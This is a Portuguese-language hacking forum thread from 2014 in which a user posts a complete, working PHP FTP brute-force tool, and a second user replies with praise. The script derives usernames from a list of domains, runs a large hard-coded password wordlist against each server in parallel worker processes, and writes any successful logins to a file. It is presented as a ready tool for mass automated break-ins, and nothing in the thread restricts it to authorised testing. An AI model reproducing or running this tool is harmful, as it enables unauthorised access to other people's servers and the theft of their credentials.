seja bem vindo ao forum eof, caso nao seja cadastrado se cadastre para poder visualizar todo o conteudo ^^

Você não está conectado. Conecte-se ou registre-se

 » Programação Web » PHP » Ftp Brute force

Ftp Brute force

Ir em baixo  Mensagem [Página 1 de 1]

1 Ftp Brute force em Dom Jan 19, 2014 8:08 pm

n4sss

avatar
novato
novato
Boas rapazeada!
Segue um brute de ftp para automatizar o trabalho (:

Code:
Código:
<?php
/*

Ftp brute force
need pcntl.
      _  _             
    | || |             
By __| || |_ ___ ___ ___
| '_ \__  _/ __/ __/ __|
| | | | | | \__ \__ \__ \
|_| |_| |_| |___/___/___/                                                               
Janissaries.org
Greetx : Xscholler, Red Eye, C0d3_Bl4ck_NiNJA, Hackinho

*/

set_time_limit(0);
error_reporting(E_ALL);

class Colors {
      private $foreground_colors = array();
      private $background_colors = array();
 
      public function __construct() {

         $this->foreground_colors['brown'] = '0;33';
         $this->foreground_colors['white'] = '1;37';
         $this->background_colors['black'] = '40';
      }
 
      public function getColoredString($string, $foreground_color = null, $background_color = null) {
         $colored_string = "";
 
         if (isset($this->foreground_colors[$foreground_color])) {
            $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m";
         }
         if (isset($this->background_colors[$background_color])) {
            $colored_string .= "\033[" . $this->background_colors[$background_color] . "m";
         }
 
         $colored_string .=  $string . "\033[0m";
         return $colored_string;
      }
   }

$color = new Colors();
function save_buf($content, $file)
{
   $fp = fopen($file, "a");
         fwrite($fp, $content."\n");
        fclose($fp);
}

function usergen($site)
{
   if(preg_match('/http:\/\//i',$site)) $site = str_replace("http://","",$site);
    if(!preg_match('/www/i',$site))    $site = "www.".$site;
    $site = explode(".",$site);
    $site = "$site[1]";
    $username = $site;
   return $username;
}

function ftp_brute($site)
{
   global $count, $output, $color;
   $username = usergen($site);
   $username_2 = substr($username,0,8);

   $userlist = array("$username",
                     "$username_2",
                     "webmaster");

   $wordlist = array("$username", "$username_2","admin", "adm123", "admin123", "1234", "12345", "123456", "12345678", "123456789", "123mudar", "123alterar", "mudar123", "pass", "pass123",
   "vasco", "daniel", "adobeadobe", "santos", "joshua", "freedom", "monkey", "futebol", "rockyou", "1234567890", "jesus", "jesuscristo", "suporte", "vendas", "marketing",
   "sac", "comunicacao", "atendimento", "121212", "eduardo", "gustavo", "jose", "maria", "samsung", "anderson", "1q2wqaws", "iloveyou", "config", "painel", "design", "forum",
   "pwd", "pdw", "ownz", "web", "webm", "webmaster", "qwertyuiop", "webmaster123", "webmaster1234", "webmaster1235", "adm10", "princess", "welcome", "futebol", "bemvindo", "bem-vindo", "acess",
   "photoshop", "000000", "adobe1", "macromedia", "azerty", "pass1234", "password", "password123", "passwd", "passwd123", "senha", "senha123", "abc123", "abc123456", "test", "test123", "teste", "teste123", "qwerty", "1a2b3c",
   "letmein", "asdfgh", "q1w2e3r4t5", "1q2w3e4r", "zaqwsx", "web123", "qwerty123", "qwaszx", "letmain", "q1w2e3", "shopping123", "cocacola", "umbrelacorp", "THX1138", "shopping321",
   "ftp", "controle", "shop", "shopping", "shop10", "shop123", "loja123", "loja", "orders", "order", "vendas", "store", "helpdesk", "online", "shopadmin", "admshop", "compras", "adobe123",
   "biohazard", "deuseamor", "FaMiLia", "MARCELO", "passw0rd", "654321", "baseball", "password1", "mustang", "ninja", "michael", "football", "ashley", "shadow", "123123", "sunshine", "trustno1", "babygirl",
   "acesso", "controle", "service", "servico", "serviço", "controlador", "funcionario", "summer", "pussy", "dragon", "69696969", "master", "102030", "010203", "101010", "flamengo",
   "1p2o3i", "1q2w3e", "1q2w3e4r", "1qw23e", "q1w2e3", "q1w2e3r4t5", "snoopy1", "qwaszx", "qwerty", "qwerty123", "root", "abcdef", "abcdefg", "letmain", "secret", "porsche", "firebird", "prince", "rosebud", "password", "guitar", "butter", "beach", "jaguar", "12345678", "chelsea", "united", "amateur", "great", "1234", "black", "turtle", "7777777", "cool", "pussy", "diamond", "steelers", "muffin", "cooper", "12345", "nascar", "tiffany", "redsox", "1313", "dragon", "jackson", "zxcvbn", "star", "scorpio", "qwerty", "cameron", "tomcat", "testing", "mountain", "696969", "654321", "golf", "shannon", "madison", "mustang", "computer", "bond007", "murphy", "987654", "letmein", "amanda", "bear", "frank", "brazil", "baseball", "wizard", "tiger", "hannah", "lauren", "master", "xxxxxxxx", "doctor", "dave", "japan", "michael", "money", "gateway", "eagle1", "naked", "football", "phoenix", "gators", "11111", "squirt", "shadow", "mickey", "angel", "mother", "stars", "monkey", "bailey", "junior", "nathan", "apple", "abc123", "knight", "thx1138", "raiders", "alexis", "pass", "iceman", "porno", "steve", "aaaa", "fuckme", "tigers", "badboy", "forever", "bonnie", "6969", "purple", "debbie", "angela", "peaches", "jordan", "andrea", "spider", "viper", "jasmine", "harley", "horny", "melissa", "ou812", "kevin", "ranger", "dakota", "booger", "jake", "matt", "iwantu", "aaaaaa", "1212", "lovers", "qwertyui", "jennifer", "player", "flyers", "suckit", "danielle", "hunter", "sunshine", "fish", "gregory", "beaver", "fuck", "morgan", "porn", "buddy", "4321", "2000", "starwars", "matrix", "whatever", "4128", "test", "boomer", "teens", "young", "runner", "batman", "cowboys", "scooby", "nicholas", "swimming", "trustno1", "edward", "jason", "lucky", "dolphin", "thomas", "charles", "walter", "helpme", "gordon", "tigger", "girls", "cumshot", "jackie", "casper", "robert", "booboo", "boston", "monica", "stupid", "access", "coffee", "braves", "midnight", "shit", "love", "xxxxxx", "yankee", "college", "saturn", "buster", "bulldog", "lover", "baby", "gemini", "1234567", "ncc1701", "barney", "cunt", "apples", "soccer", "rabbit", "victor", "brian", "august", "hockey", "peanut", "tucker", "mark", "3333", "killer", "john", "princess", "startrek", "canada", "george", "johnny", "mercedes", "sierra", "blazer", "sexy", "gandalf", "5150", "leather", "cumming", "andrew", "spanky", "doggie", "232323", "hunting", "charlie", "winter", "zzzzzz", "4444", "kitty", "superman", "brandy", "gunner", "beavis", "rainbow", "asshole", "compaq", "horney", "bigcock", "112233", "fuckyou", "carlos", "bubba", "happy", "arthur", "dallas", "tennis", "2112", "sophie", "cream", "jessica", "james", "fred", "ladies", "calvin", "panties", "mike", "johnson", "naughty", "shaved", "pepper", "brandon", "xxxxx", "giants", "surfer", "1111", "fender", "tits", "booty", "samson", "austin", "anthony", "member", "blonde", "kelly", "william", "blowme", "boobs", "fucked", "paul", "daniel", "ferrari", "donald", "golden", "mine", "golfer", "cookie", "bigdaddy", "0", "king", "summer", "chicken", "bronco", "fire", "racing", "heather", "maverick", "penis", "sandra", "5555", "hammer", "chicago", "voyager", "pookie", "eagle", "yankees", "joseph", "rangers", "packers", "hentai", "joshua", "diablo", "birdie", "einstein", "newyork", "maggie", "sexsex", "trouble", "dolphins", "little", "biteme", "hardcore", "white", "redwings", "enter", "666666", "topgun", "chevy", "smith", "ashley", "willie", "bigtits", "winston", "sticky", "thunder", "welcome", "bitches", "warrior", "cocacola", "cowboy", "chris", "green", "sammy", "animal", "silver", "panther", "super", "slut", "broncos", "richard", "yamaha", "qazwsx", "8675309", "private", "fucker", "justin", "magic", "zxcvbnm", "skippy", "orange", "banana", "lakers", "nipples", "marvin", "merlin", "driver", "rachel", "power", "blondes", "michelle", "marine", "slayer", "victoria", "enjoy", "corvette", "angels", "scott", "asdfgh", "girl", "bigdog", "fishing", "2222", "vagina", "apollo", "cheese", "david", "asdf", "toyota", "parker", "matthew", "maddog", "video", "travis", "qwert", "121212", "hooters", "london", "hotdog", "time", "patrick", "wilson", "7777", "paris", "sydney", "martin", "butthead", "marlboro", "rock", "women", "freedom", "dennis", "srinivas", "xxxx", "voodoo", "ginger", "fucking", "internet", "extreme", "magnum", "blowjob", "captain", "action", "redskins", "juice", "nicole", "bigdick", "carter", "erotic", "abgrtyu", "sparky", "chester", "jasper", "dirty", "777777", "yellow", "smokey", "monster", "ford", "dreams", "camaro", "xavier", "teresa", "freddy", "maxwell", "secret", "steven", "jeremy", "arsenal", "music", "dick", "viking", "11111111", "access14", "rush2112", "falcon", "snoopy", "bill", "wolf", "russia", "taylor", "blue", "crystal", "nipple", "scorpion", "111111", "eagles", "peter", "iloveyou", "rebecca", "131313", "winner", "pussies", "alex", "tester", "123123", "samantha", "cock", "florida", "mistress", "bitch", "house", "beer", "eric", "phantom", "hello", "miller", "rocket", "legend", "billy", "scooter", "flower", "theman", "movie", "6666", "please", "jack", "oliver", "success", "albert");
   foreach($userlist as $user)
   {
      foreach($wordlist as $pass)
      {   
         if(preg_match('/http:\/\//i',$site) || preg_match('/www/i', $site)) $site = @str_replace(array("http://","www.") , "", $site);
         $ftp_server = $site;
         print $color->getColoredString("[{$count}]", "white");print $color->getColoredString(" {$ftp_server} -> {$user}:{$pass}\n", "brown");
         $conn_id = @ftp_connect($ftp_server);
         if(@ftp_login($conn_id, $user, $pass)){
            print "--=--=--=--=--=--=--=--=--=--=--=--=--=--=-\n";
            print "[+] LOGIN SUCCESSFUL {$ftp_server} -> {$user}:{$pass} :D\n";
            print "--=--=--=--=--=--=--=--=--=--=--=--=--=--=-\n";
            save_buf("{$ftp_server} -> {$user}:{$pass}", $output);
            flush();
            exit(0);
         }
      $count += 1;
      }
   }
}   

 
function main_brute($list, $threadsn)
{
    $out = 0;
    $thr = $threadsn;
    $ini = 0;
    $fin = $thr - 1;
    while(1){
        $childs = array();
        for ($count = $ini; $count <= $fin; $count++){
            if(empty($list[$count])){
                $out = 1;
                continue;
            }
            $pid = pcntl_fork();
            if ( $pid == -1 ) {
                echo "Fork error\n";
                exit(1);
            } else if ($pid) {
                array_push($childs, $pid);
            } else {
                ftp_brute($list[$count]);
                exit(0);
            }
        }
        foreach($childs as $key => $pid){
            pcntl_waitpid($pid, $status);
        }
        if($out == 1){
            return;
        }
        $ini = $fin + 1;
        $fin = $fin + $thr;
    }
}




if(!isset($argv[1], $argv[2], $argv[3]))
{
   print "FTP BRUTE FORCE BY N4SSS\n";
   print "php $argv[0] site_list output thread \n";
   print "Ex:\n";
   print "php $argv[0] br.txt BRUTED.txt 100\n";
}else
{   
   $count = 1;
   $site_list = array_filter(explode("\n", file_get_contents("$argv[1]")));
   $output = trim("$argv[2]");
   $thread = trim("$argv[3]");
   print "[+] Lauching FTP BRUTE function\n";
   main_brute($site_list, $thread);
   print "[+] Done!\n";
}
?>

Video:
[Você precisa estar registrado e conectado para ver este link.]

Abraço!

2 Re: Ftp Brute force em Dom Jan 19, 2014 9:05 pm

Kodo no Kami

avatar
master
master
show mano *-*


_________________ASSINATURA_________________
[Você precisa estar registrado e conectado para ver esta imagem.]
[Você precisa estar registrado e conectado para ver esta imagem.]

Contato:
Spoiler:

Contato:
Facebook: [Você precisa estar registrado e conectado para ver este link.]
Skype: hackerfts315
http://endoffile.umforum.net

Voltar ao Topo  Mensagem [Página 1 de 1]

Permissão deste fórum:
Você não pode responder aos tópicos neste fórum